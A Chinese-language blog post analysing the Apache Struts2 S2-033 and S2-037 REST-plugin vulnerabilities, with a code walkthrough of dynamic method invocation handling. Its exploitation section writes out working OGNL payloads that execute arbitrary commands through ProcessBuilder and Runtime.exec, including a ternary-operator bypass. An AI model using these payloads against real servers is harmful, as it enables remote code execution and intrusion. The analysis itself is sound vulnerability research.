Learning Man's Blog

s2-033 & s2-037 漏洞分析

字数统计: 723阅读时长: 3 min
2018/10/31 Share

S2-033 影响版本

Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

S2-037 影响版本

Struts 2.3.20 - Struts Struts 2.3.28.1

2.3.20.3 & 2.3.24.3 & 2.3.28.1 为s2-033修复版本

吐槽:33跟32其实关系不大,只是payload大致通用,37算33的绕过。

0x01 踩坑

测试基于2.3.20 rest-showcase

理解struts.xml配置容易让人头大

<!--默认包路径包含action,actions,struts,struts2的所有包都会被struts作为含有Action类的路径来搜索 -->
<constant name="struts.convention.package.locators" value="action,actions,struts,struts2"/>

0x02 分析

根据是否开启动态方法调用,分为两种情况

<constant name="struts.enable.DynamicMethodInvocation" value="true"/>
  1. 如果开启,可以使用 action名 + ! + 方法名 进行方法调用

    例如 http://localhost:8080/exam/login!checkLogin.action

  2. 另外还支持 action名 + / + ID + / + 方法名 进行方法调用

    例如 http://localhost:8080/exam/login/1/checkLogin.action

跟进分析

DynamicMethodInvocation == True

  1. 重点在PrepareOperations.findActionMapping,调用RestActionMapper.getMapping

  2. 第一个断点处,获取合法后缀,而this.extensions定义来源于rest包下的struts-plugin.xml

     <constant name="struts.action.extension" value="xhtml,,xml,json" />
    

  3. 然后进去第二个断点处,首先判断是否有!,如果有!动态方法调用开启,则将!后的字符串填充method

     private void handleDynamicMethodInvocation(ActionMapping mapping, String name) {
         int exclamation = name.lastIndexOf("!");
         if (exclamation != -1) {
             mapping.setName(name.substring(0, exclamation));
             if (this.allowDynamicMethodCalls) {
                 mapping.setMethod(name.substring(exclamation + 1));
             } else {
                 mapping.setMethod((String)null);
             }
         }
    
     }
    
  4. 接着RestActionInvocation顺序执行所有拦截器,(RestActionInvocation继承DefaultActionInvocation),遍历之后通过DefaultActionInvocation.invokeActionOnly实现Action调用

    
     public String invoke() throws Exception {
         String profileKey = "invoke: ";
    
         String var21;
         try {
             UtilTimerStack.push(profileKey);
             if (this.executed) {
                 throw new IllegalStateException("Action has already executed");
             }
    
             if (this.interceptors.hasNext()) {
                 ...
             } else {
                 this.resultCode = this.invokeActionOnly();
             }
    
             ...
    
  5. 然后这里(竟然)直接用ognl执行

DynamicMethodInvocation == False

  1. 如果为False则在第二个断点处不会添加method,但是在第三个断点处会重复两次对/进行判断,然后将最后的字符串作为method(这里要注意//中间必须有数据,不然会被解析成/无法添加为method)

流程梳理

【占坑】没啥好梳理的

0x03 利用条件

分为 DynamicMethodInvocation 是否为true

0x04 利用方式

1. 低版本

  1. True

     !%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23cmd%3D%23parameters.cmd%2C%23a%3Dnew%20java.lang.ProcessBuilder%28%23cmd%29.start%28%29.getInputStream%28%29%2Cnew%20java.lang.String.xhtml?cmd=/Applications/Calculator.app/Contents/MacOS/Calculator
    
  2. False

    一样的payload,去掉!并保证../../..路由有效性即可

2. 巧妙的绕过OGNL

以上POC有限制,在最新的2.38.1和2.3.20.1等版本中,无法让OGNL执行多条语句。

通过三目运算符这个方式绕过

(#mem=#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?@java.lang.Runtime@getRuntime().exec(#parameters.cmd):index.xhtml?cmd=calc

so great~ 相当于执行了两条语句。

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,  
@java.lang.Runtime@getRuntime().exec(#parameters.cmd)

依次类推,可以做很多事情~

参考资料

  1. https://blog.csdn.net/gchai/article/details/7873024
  2. http://www.angelwhu.com/blog/?p=432
  3. https://blog.csdn.net/qq_29277155/article/details/51672877
  4. http://www.vuln.cn/6429
CATALOG
  1. 1. 0x01 踩坑
  2. 2. 0x02 分析
    1. 2.1. 跟进分析
      1. 2.1.1. DynamicMethodInvocation == True
      2. 2.1.2. DynamicMethodInvocation == False
    2. 2.2. 流程梳理
  3. 3. 0x03 利用条件
  4. 4. 0x04 利用方式
    1. 4.1. 1. 低版本
    2. 4.2. 2. 巧妙的绕过OGNL
  5. 5. 参考资料